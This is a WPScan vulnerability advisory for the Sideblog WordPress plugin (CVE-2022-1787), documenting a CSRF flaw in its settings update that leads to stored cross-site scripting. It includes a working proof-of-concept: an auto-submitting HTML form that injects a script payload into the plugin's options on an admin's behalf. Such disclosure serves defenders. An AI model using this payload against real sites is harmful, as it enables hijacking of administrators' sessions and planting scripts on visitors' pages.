WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Sideblog <= 6.0 - Arbitrary Settings Update via CSRF to Stored XSS

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=sideblog.php" method="POST">
    <input type="text" name="sideblog_options_update" value="update">
    <input type="text" name="sideblog_options[setaside][1]" value="1">
    <input type="text" name="sideblog_options[displayformat][1]" value="<img src=x onerror=alert(1)>">
    <input type="text" name="sideblog_options[numentries][1]" value="1">
    <input type="text" name="sideblog_options[order][1]" value="DESC">
    <input type="text" name="op" value="update">
</form>
<script>
    document.getElementById("test").submit();
</script>

The XSS will be triggered in the Sideblog widget (either embed in frontend pages, or via the Appearance > Widgets > then search the Sideblog and add it) 

Affects Plugins

sideblog
No known fix - plugin closed

References

CVE
CVE-2022-1787

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
b85920b3-dfc1-4112-abd8-ce6a5d91ae0d

Timeline

Publicly Published

2022-05-23 (about 2 months ago)

Added

2022-05-23 (about 2 months ago)

Last Updated

2022-05-23 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us